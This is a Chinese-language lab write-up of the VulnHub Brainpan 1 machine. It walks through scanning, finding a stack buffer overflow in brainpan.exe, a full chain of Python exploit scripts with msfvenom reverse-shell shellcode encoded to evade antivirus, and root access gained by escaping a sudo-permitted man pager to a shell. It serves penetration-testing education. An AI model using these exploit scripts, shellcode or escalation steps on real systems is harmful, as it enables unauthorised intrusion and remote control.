目录
写在开头
第一步:主机发现和端口扫描
第二步:web渗透
第三步:缓冲区溢出漏洞识别
第四步:定位eip寄存器(确定溢出字符串的长度)
第五步:ESP扩容(判断ESP寄存器的大小是否够装shellcode)
第六步:坏字节识别
第七步:JMP ESP定位
第八步:在ESP中填入shellcode
第九步:提权
写在最后
写在开头
本篇博客根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。这个靶机与先前常见的针对cms漏洞的靶机思路有所不同,涉及到缓冲区溢出的知识,类似求解CTF中的pwn题目需要对寄存器的结构和堆栈内存空间有一定了解。本文的打靶过程涉及到关于strings命令、ImmunityDebugger的基本操作、缓冲区溢出漏洞、ret2shellcode、sudo提权等。完整打靶思路详见:
「红队笔记」靶机精讲:Brainpan1 - 缓冲区溢出典型利用过程,让你一次吃透。_哔哩哔哩_bilibili 打靶之前,建议了解缓冲区溢出漏洞的基本知识,可以先看看我的这篇博客:
pwn入门(2):ROP攻击的原理,缓冲区溢出漏洞利用(ret2text+ret2shellcode)
本文针对的靶机源于vulnhub,详情见:
Brainpan: 1 ~ VulnHub
下载链接见:
https://download.vulnhub.com/brainpan/Brainpan.zip
本靶机的目标是拿到root权限。下载成功后用vmware打开,跳出提示框请选择“我已移动该虚拟机”,然后设置为NAT模式,否则可能无法扫描到靶机!
靶机启动后的界面如下:
第一步:主机发现和端口扫描
依旧是常规思路,不细讲了。有关主机发现和端口扫描的命令详见我的这篇博客中关于nmap的部分:渗透测试:主机发现和端口扫描的思路方法总结(nmap+ping命令+nc.traditional+伪设备连接)
nmap -sn 10.10.10.0/24
nmap --min-rate 10000 -p- 10.10.10.134
nmap -sT -sV -O -sC -p9999,10000 10.10.10.134
nmap -sU --min-rate 10000 -p- 10.10.10.134
nmap --script=vuln -p9999,10000 10.10.10.134
发现我的靶机ip是10.10.10.134,开放了9999和10000端口。
然而看起来这两条命令开放的服务我们都不熟悉,在进行服务版本、操作系统探测的时候再添加一个参数-sC,使用默认脚本进行探测:
nmap -sT -sV -sC -O -p9999,10000 10.10.10.134
可以看到有很多信息,其中10000端口很可能是用python2.7启动的http服务,后续有好多字符和ascii形状暂时无法理解。UDP扫描无明显结果,vuln的漏洞脚本扫描也没有什么信息。
第二步:web渗透
打开浏览器,访问靶机ip的9999端口,看看有啥信息:
可以看到一个界面,查看网页源代码也是相同的形状,这个界面貌似可以让我们输入密码信息进行交互,但单纯的浏览器访问是无法进行交互的。那我们可以尝试使用nc进行连接:
nc 10.10.10.134 9999
还针对可以连接,而且可以输入PASSWORD进行交互,咱也不知道密码是啥,随便输入一个aaa,结果显示ACCESS DENIED拒绝访问,直接退出了。那么如果我们能找到正确的PASSWORD密码,可能就能得到更多的信息。
再看一眼10000端口:
是一个web页面,页面内容是一张很大很长的图片,图片内容就是关于网络安全的相关资讯,也没什么可看的。浏览器访问页面看不到什么东西,我们尝试目录爆破,看看有什么收获,这次就用gobuster试试好了:
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.10.134:10000
其中dir是指定使用目录/文件枚举的模式,-w指定字典,-u指定爆破的url,爆破的结果如下:
扫到一个bin目录,我们尝试访问:
发现有一个exe文件,我们把他下载下来,先不要运行,先查看这个文件的信息:
确实是一个windows的32位的可执行文件,再用binwalk看看有没有捆绑的文件:
并没有捆绑的文件信息,再看看这个文件内部的字符串信息:
strings brainpan.exe
字符串信息中,提示这个程序不能运行在DOS模式下,然后有32个A,还有一行关于复制字节到缓冲区的信息,还有一行比较奇怪的字符shitstorm,接下来就是之前浏览器看到的ascii图案。那么是否shitstorm就是一个PASSWORD呢?我们再次尝试:
好消息是这回密码正确的,坏消息是并没有获得其他信息,看来此路不通。因此我们接下来的思路就是针对这个brainpan.exe文件,看看这个可执行文件有啥信息了。安全起见,建议使用windows虚拟机运行这个文件。
第三步:缓冲区溢出漏洞识别
在window环境下运行brainpan.exe,可以看到出现了一个如下的界面:
大概是说初始化了一个winsock,端口是9999,等待连接中。那么我们可以用nc尝试连接这个windows机器的9999端口(windows机器的ip可以用ipconfig查看,我这里是10.10.10.1),先随便输入一个PASSWORD试试:
然后查看刚刚的brainpan.exe:
可以发现提示复制了8个字节到缓冲区,如果输入shitstorm,回显也基本一致,但check会是0,可以判断可能check为0说明密码正确,为-1说明错误。由于涉及到复制字节到缓冲区的过程,那么这里就有可能存在缓冲区溢出的漏洞。
如果我们输入一个非常长的字符串,是否会造成溢出而导致程序崩溃呢?如果会出现溢出,那么这个“非常长”到底是多长的字符串呢?此时我们可以写一个python2的脚本exp1.py进行测试,代码如下:
#!/usr/bin/python
import socket
import time
import sys
#figure out how many chars could make brainpan.exe crush
size = 100
while True:
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #用于建立socket连接
s.connect(("10.10.10.1",9999)) #连接windows机器的9999端口
buffer = 'A' * size #待发送字符串的长度,按照100个字符逐渐增加
print "\n[+]Send evil buffer %s bytes." % size #提示发送了多少个字符
s.send(buffer) #发送字符串
s.close() #连接关闭
size += 100
time.sleep(2) #每发送一次,睡眠2s,便于我们观测过程
except:
print "\n[+] Could not connect,error!\n" #出现异常的提示
sys.exit() #系统退出
重新启动brainpan.exe这个文件,在kali中运行脚本exp1进行连接:
会发现当发送600长度的字符串后,brainpan.exe会直接结束运行,利用文件exp1.py也停止发送。说明确实存在溢出漏洞。所谓缓冲器溢出的漏洞利用,就是通过构造溢出,添加我们的payload,修改程序的执行流程,最终会执行我们添加的payload(反弹shell等),核心在于是否可以溢出?怎么修改执行流程?怎么添加payload?这就是缓冲区溢出的全局思路,接下来的所有操作都是基于这个大局观。
最多不超过600字节就会导致缓冲区溢出。那具体是多少个字节呢?
第四步:定位eip寄存器(确定溢出字符串的长度)
我们可以用工具msf-pattern_creat生成一个600字节的字符串,该字符串的特点是:其中的连续子串可以唯一被定位位置。
msf-pattern_create -l 600
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9
然后用ImmunityDebugger打开brainpan.exe文件。此时ImmunityDebugger这个工具相当于充当了CPU与brainpan.exe的中介,方便我们观察程序运行时的汇编语言的程序流、寄存器、堆栈、内存等情况。
可以看到右下角是Paused,意思是这个文件是暂停状态的,我们点击左上角的running program按钮(左数第7个,或者直接按F9)启动程序,此时右下角提示状态变为了Running。这种启动与直接双击exe文件的区别就是,使用ImmunityDebugger作为了中介而已。
然后我们用刚刚生成的600字符的pattern字符串,重新构造payload,编写如下的exp2:
#!/usr/bin/python
import socket
import time
import sys
#figure out how many chars could make overflow exactly.
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.10.1",9999))
buffer = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9'
print "\n[+]Send evil buffer 600 bytes."
s.send(buffer)
s.close()
time.sleep(2)
except:
print "\n[+] Could not connect,error!\n"
sys.exit()
这个exp2.py就是把刚刚生成的600个字符发送。
回到ImmunityDebugger,可以看到这个字符串填入了EDX中,EDX还不够装,ESP中还装了一部分。而特别需要关注的寄存器是EIP(instrutor pointer指令指针),这个寄存器标记了下一条指令的内存地址,是进行缓冲区溢出的关键所在。
如上图,EIP内的值是35724134,这是ASCII码的值,由于小端显示的原因(逆序),相当于4Ar5。
接下来我们就是寻找35724134(4Ar5)在msf-pattern_creat生成的600字节字符串中的位置,以下两条命令均可:
msf-pattern_offset -l 600 -q 35724134
msf-pattern_offset -l 600 -q 4Ar5
可以看到偏移量是524,也就是只要发送524+4个字符,即可覆盖EIP寄存器,EIP寄存器存储的内容就是发送的528个字符中的最后4个字符(也就是说,第525-528个字符会填充EIP寄存器)。
为了验证发送的第525-528个字符会填充EIP寄存器,我们可以构造一个payload,发送600个字符,前524个字符都是A,第525-528个字符是B,用于覆盖EIP,最后72个字符用于凑数,都是C,据此编写exp3.py:
#!/usr/bin/python
import socket
import time
import sys
#cover EIP with 'BBBB'.
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.10.1",9999))
buffer = 'A' * 524 + 'B' * 4 + 'C' * 72
print "\n[+]Send evil buffer 600 bytes(524 A, 4 B, 72 C)."
s.send(buffer)
s.close()
time.sleep(2)
except:
print "\n[+] Could not connect,error!\n"
sys.exit()
重新打开ImmuityDebugger,运行brainpan.exe后(点击左上角左数第6个按钮×后,再重新打开brainpan.exe,点击菜单栏的file->open,打开文件后,再点击左上角左数第7个按钮运行。特别注意!!!每次运行新的exp前,都要进行如此重新打开的操作。),在kali中执行这个exp3.py:
果然,EIP寄存器被覆盖为了BBBB(B的ascii码的16进制是42),EDX被覆盖为了若干个A,ESP被覆盖为了72个C。
也可以在堆栈区域看到内存的情况:
第五步:ESP扩容(判断ESP寄存器的大小是否够装shellcode)
我们企图将shellcode放到ESP中,也就是现在72个C的位置,然而shellcode的大小通常是300-400字节左右,显然72字节是不够的,因此我们尝试再次进行溢出,这次发送的字符串是524个A、4个B、500个C,再次运行看看程序的崩溃情况和ESP内部的情况,如果崩溃情况与之前相同,ESP存放了500个C,就说明ESP的大小足够存放shellcode。构造如下的exp4.py:
#!/usr/bin/python
import socket
import time
import sys
#cover EIP with 'BBBB',cover ESP with 'C'*500 to figure out if ESP is big enough to cover shellcode.
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.10.1",9999))
buffer = 'A' * 524 + 'B' * 4 + 'C' * 500
print "\n[+]Send evil buffer 1028 bytes(524 A, 4 B, 500 C)."
s.send(buffer)
s.close()
time.sleep(2)
except:
print "\n[+] Could not connect,error!\n"
sys.exit()
运行后寄存器的情况如下:
ESP中存放了许多个C,没出啥问题。查看堆栈中的情况,找到C出现的开始位置和终止位置,可以看到首次出现C的内存地址是005FF910,最后4个C的内存地址是005FFAE4:
那么ESP的大小就是005FFAE4-005FF910+4=472字节,应该足够存放反弹shell的shellcode。
第六步:坏字节识别
在C语言中,00是一个坏字符,作用是截断。所谓坏字节,就是程序中存在的会导致代码无法正常执行的字符,与程序本身和通信协议都相关。可以在github中具体查看坏字节的情况:
GitHub - cytopia/badchars: Bad char generator to instruct encoders such as shikata-ga-nai to transform those to other chars.
可能存在的坏字节如下,图中没有包括\x00,因为\x00一定是坏字节,不需要再进行识别。
下面我们构造exp5.py,将可能的坏字节填充到ESP中,查看寄存器和内存的情况,exp5.py如下:
#!/usr/bin/python [8/260]
import socket
import time
import sys
#find badchars,cover ESP with possible badchars
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.10.1",9999))
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" +
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" +
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" +
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" +
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" +
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" +
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" +
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" +
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" +
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" +
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" +
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" +
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" +
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" +
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" +
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A' * 524 + 'B' * 4 + badchars
print "\n[+]Send evil buffer many bytes(524 A, 4 B, 255 badchars)."
s.send(buffer)
s.close()
time.sleep(2)
except:
print "\n[+] Could not connect,error!\n"
sys.exit()
运行exp5.py,观察ESP的情况:
点击ESP后的内存地址,然后右键->Follow in Dump,即可在左下的窗口看到内存情况
左下的窗口如下,可以看到从01到FF是连续的,说明没有出现坏字节。如果有坏字节,可能会出现很多00的空字节。
第七步:JMP ESP定位
虽然ESP中可以存放shellcode,但我们如何保证程序的执行流程跳转到ESP中呢?这就需要通过EIP进行重定向,也就是找到汇编指令JMP ESP的内存地址,将这个内存地址覆盖到EIP中。由于EIP标记了下一条指令的执行地址,如果EIP被我们覆盖成了JMP ESP指令的内存地址,那么程序就会执行JMP ESP,然后如果ESP中存放了shellcode的话,就会成功利用。
首先,我们要找到指令JMP ESP的内存地址,在进行搜索的时候,不能用JMP ESP这样的字符直接搜索,而要用操作码opcode,JMP ESP的操作码可以用msf-nasm_shell进行查找,可以发现JMP ESP的操作码是FFE4。
接下来就是搜索FFE4了。在ImmuityDebugger中,可以很方便的直接执行python的一些脚本。在左下角的输入框输入!mona modules,可以看到当前运行程序的保护机制:
这里插叙一下,我第一次安装ImmuityDebugger后,输入!mona modules直接报错pycommands:error importing module。这是因为ImmuityDebugger的默认脚本并不保护mona.py这个文件,需要下载mona.py,并将这个文件放在PyCommends路径下。mona.py的下载地址见https://github.com/corelan/mona
这个问题困扰了我好半天,插叙结束。
回到主题,通过mona.py可以看到当前运行的brainpan.exe的保护机制都是False,很容易被利用。因此靶机本身恰巧就支持我们定位JMP ESP,其实这里也不必强求非要利用靶机中的JMP ESP,寻找其他安全机制没有开启的程序也可以,只是当前的windows运行的其他程序都开启了许多安全机制,难以定位JMP ESP。
然后我们在brainpan.exe中搜索ffe4,命令如下:
!mona find -s "\xff\xe4" -m brainpan.exe
总共找到了一个内存位置,311712f3,这个内存地址下存放了JMP ESP的指令。 因此我们要将这个内存地址写到EIP中,也就是之前写入B的位置。由于小端显示的问题,需要按照字节倒序的方式填入EIP中即"\xf3\x12\x17\x31"。
第八步:在ESP中填入shellcode
最后构造反弹shell的shellcode,这里直接用msfvemon生成即可,LHOST和LPORT指定ip和端口,-b指定坏字符,-e指定编码方式,这里选用shikata_ga_nai,这是个日语词汇,在免杀绕过领域比较好用,-f形成c语言代码。生成的shellcode的大小是351个字节(由于编码方式,每次生成的结果是不一样的):
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.128 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f c
然后我们把原来ESP中C的位置填写为上述shellcode(这里的shellcode和上图不是一次生成的,所以不一样,只要填入msfvemon生成的反弹shell即可)。shikata_ga_nai的编码方式对于我们进行免杀和绕过很有作用。但也会在生成几个“桩”用于解码。因此在构造payload的时候应该在ESP的开头位置填入若干个啥也不做的指令NOP(\x90),称为slide,防止“桩”被抹掉导致代码无法成功执行,再添加shellcode。当然,即使我们不适用编码进行免杀绕过,也可以添加几个NOP,滑过一些字节,保证shellcode不会被“抹掉”。完整的代码如下exp6.py:
!/usr/bin/python
import socket
import time
import sys
#set payload(windows_reverse_shell) for windows
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.10.1",9999))
ebp = "311712f3"
badchars = '\x00'
shellcode = ("\xdd\xc0\xbf\xb6\xe7\xea\xd8\xd9\x74\x24\xf4\x5d\x33\xc9\xb1"
"\x52\x31\x7d\x17\x03\x7d\x17\x83\x5b\x1b\x08\x2d\x5f\x0c\x4f"
"\xce\x9f\xcd\x30\x46\x7a\xfc\x70\x3c\x0f\xaf\x40\x36\x5d\x5c"
"\x2a\x1a\x75\xd7\x5e\xb3\x7a\x50\xd4\xe5\xb5\x61\x45\xd5\xd4"
"\xe1\x94\x0a\x36\xdb\x56\x5f\x37\x1c\x8a\x92\x65\xf5\xc0\x01"
"\x99\x72\x9c\x99\x12\xc8\x30\x9a\xc7\x99\x33\x8b\x56\x91\x6d"
"\x0b\x59\x76\x06\x02\x41\x9b\x23\xdc\xfa\x6f\xdf\xdf\x2a\xbe"
"\x20\x73\x13\x0e\xd3\x8d\x54\xa9\x0c\xf8\xac\xc9\xb1\xfb\x6b"
"\xb3\x6d\x89\x6f\x13\xe5\x29\x4b\xa5\x2a\xaf\x18\xa9\x87\xbb"
"\x46\xae\x16\x6f\xfd\xca\x93\x8e\xd1\x5a\xe7\xb4\xf5\x07\xb3"
"\xd5\xac\xed\x12\xe9\xae\x4d\xca\x4f\xa5\x60\x1f\xe2\xe4\xec"
"\xec\xcf\x16\xed\x7a\x47\x65\xdf\x25\xf3\xe1\x53\xad\xdd\xf6"
"\x94\x84\x9a\x68\x6b\x27\xdb\xa1\xa8\x73\x8b\xd9\x19\xfc\x40"
"\x19\xa5\x29\xc6\x49\x09\x82\xa7\x39\xe9\x72\x40\x53\xe6\xad"
"\x70\x5c\x2c\xc6\x1b\xa7\xa7\xe3\xd1\xad\xb7\x9c\xe7\xb1\xb6"
"\xe7\x61\x57\xd2\x07\x24\xc0\x4b\xb1\x6d\x9a\xea\x3e\xb8\xe7"
"\x2d\xb4\x4f\x18\xe3\x3d\x25\x0a\x94\xcd\x70\x70\x33\xd1\xae"
"\x1c\xdf\x40\x35\xdc\x96\x78\xe2\x8b\xff\x4f\xfb\x59\x12\xe9"
"\x55\x7f\xef\x6f\x9d\x3b\x34\x4c\x20\xc2\xb9\xe8\x06\xd4\x07"
"\xf0\x02\x80\xd7\xa7\xdc\x7e\x9e\x11\xaf\x28\x48\xcd\x79\xbc"
"\x0d\x3d\xba\xba\x11\x68\x4c\x22\xa3\xc5\x09\x5d\x0c\x82\x9d"
"\x26\x70\x32\x61\xfd\x30\x42\x28\x5f\x10\xcb\xf5\x0a\x20\x96"
"\x05\xe1\x67\xaf\x85\x03\x18\x54\x95\x66\x1d\x10\x11\x9b\x6f"
"\x09\xf4\x9b\xdc\x2a\xdd")
buffer = 'A' * 524 + '\xf3\x12\x17\x31' + '\x90' * 16 + shellcode
print "\n[+]Send evil buffer many bytes(524 A, pos jmp ESP, 16 NOP, shellcode),including payload:windows_reverse_shell."
s.send(buffer)
s.close()
time.sleep(2)
except:
print "\n[+] Could not connect,error!\n"
sys.exit()
回到kali中,先开启nc监听443端口,然后在ImmunityDebugger中重启brainpan.exe,运行exp6.py,成功拿到了windows机器的反弹shell:
我们的目标是搞到靶机linux的shell,因此重新生成linux环境的反弹shell:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.128 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f c
然后修改payload为exp7.py:
#!/usr/bin/python
import socket
import time
import sys
#set payload(linux_reverse_shell) for target machine
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.10.134",9999))
ebp = "311712f3"
badchars = '\x00'
shellcode = ("\xda\xdd\xd9\x74\x24\xf4\xb8\x12\x4b\x6e\x5a\x5b\x31\xc9\xb1"
"\x12\x31\x43\x17\x03\x43\x17\x83\xf9\xb7\x8c\xaf\xcc\x9c\xa6"
"\xb3\x7d\x60\x1a\x5e\x83\xef\x7d\x2e\xe5\x22\xfd\xdc\xb0\x0c"
"\xc1\x2f\xc2\x24\x47\x49\xaa\xbc\xbd\xa3\xaa\xa9\xc3\xb3\xab"
"\x92\x4d\x52\x1b\x82\x1d\xc4\x08\xf8\x9d\x6f\x4f\x33\x21\x3d"
"\xe7\xa2\x0d\xb1\x9f\x52\x7d\x1a\x3d\xca\x08\x87\x93\x5f\x82"
"\xa9\xa3\x6b\x59\xa9")
buffer = 'A' * 524 + '\xf3\x12\x17\x31' + '\x90' * 16 + shellcode
print "\n[+]Send evil buffer many bytes(524 A, pos jmp ESP, 16 NOP, shellcode),including payload:linux_reverse_shell."
s.send(buffer)
s.close()
time.sleep(2)
except:
print "\n[+] Could not connect,error!\n"
sys.exit()
回到kali中,再次开启nc监听443端口,然后在ImmunityDebugger中重启brainpan.exe,运行exp7.py,成功拿到了靶机linux机器的反弹shell:
第九步:提权
先尝试用python提高交互性:
python -c "import pty;pty.spawn('/bin/bash')"
发现现在在puck用户的家目录中,我们看看里面有啥:
有个可执行文件checksrv.sh,我们看一看这个shell脚本的内容:
由这个sh脚本我们也可以理解到为何一个32位的windows可执行文件运行在Linux靶机上,这个靶机是用/usr/bin/wine这个模拟器运行了brainpan.exe,并用python生成了简易的web服务器。
接下来就是提权了,sudo -l查看当前用户puck的权限:
可以发现当前用户拥有免密运行/home/anansi/bin/anansi_util的权限,那么我们就运行试试:
提示说应该增加操作network/proclist/manual才行,对应就是网络/进程列表/手册查看。直接运行network网络试试:
sudo /home/anansi/bin/anansi_util network
这和直接ip a基本没区别,那再试试proclist:
sudo /home/anansi/bin/anansi_util proclist
提示未知的终端类型,再试试查看手册吧,后面要加一个commind,我们干脆就查看ls的手册好了:
sudo /home/anansi/bin/anansi_util manual ls
此处可以交互!他让我们按下回车键,我们先不按。此时应该是以root身份读取ls的手册,那么如果在此处启动一个bash,应该也是root的session,因此我们在此处输入:
!/bin/bash
直接一波提权了,直接root!打靶至此完成。
写在最后
这篇打靶虽然不难,但却是第一个遇到的有关缓冲区溢出的靶机,涉及到了内存中的知识。本文是缓冲区溢出中有关栈溢出ret2shellcode的类型,即将程序的执行流程转移到shellcode中。理解整个操作过程的全局思路很关键,这里再次总结一下进行溢出利用的思路。
1.首先发现可交互的文件brainpan.exe,涉及到有关缓冲区操作的内容,因此可能存在溢出,尝试构造很长的字符串,发现程序崩溃,基本确认存在缓冲区溢出。
2.然后寻找到EIP寄存器的位置,标记了下一条指令的地址
3.将EIP寄存器的内容覆盖为JMP ESP指令的所在地址,这样程序的执行流就会跳转至ESP执行。
4.将反弹shell的shellcode覆盖进ESP中,最后造成了恶意代码执行。
有关最基本的ret2shellcode的内容详见我之前的博客:
pwn入门(2):ROP攻击的原理,缓冲区溢出漏洞利用(ret2text+ret2shellcode)
总体来讲原理并不复杂,但在操作的时候还是有一些需要注意的细节,比如CPU的小端显示问题,导致内存的地址是按字节倒序的;坏字节的检查;构造反弹shell的payload时使用常见端口443,并用shikata-ga-nai编码绕过免杀;在写入反弹shell的payload前添加几个无意义的NOP空指令占位防止shellcode被抹掉等等。
感觉红队笔记大佬真的强,我是真的菜,学习渗透一定要实操呀!到此这个靶机就讲解完毕了。靶机不难,字数很多,总结真的不易,耗费了很多时间精力,也有很多自己的思考,希望读者能够点赞关注多多支持!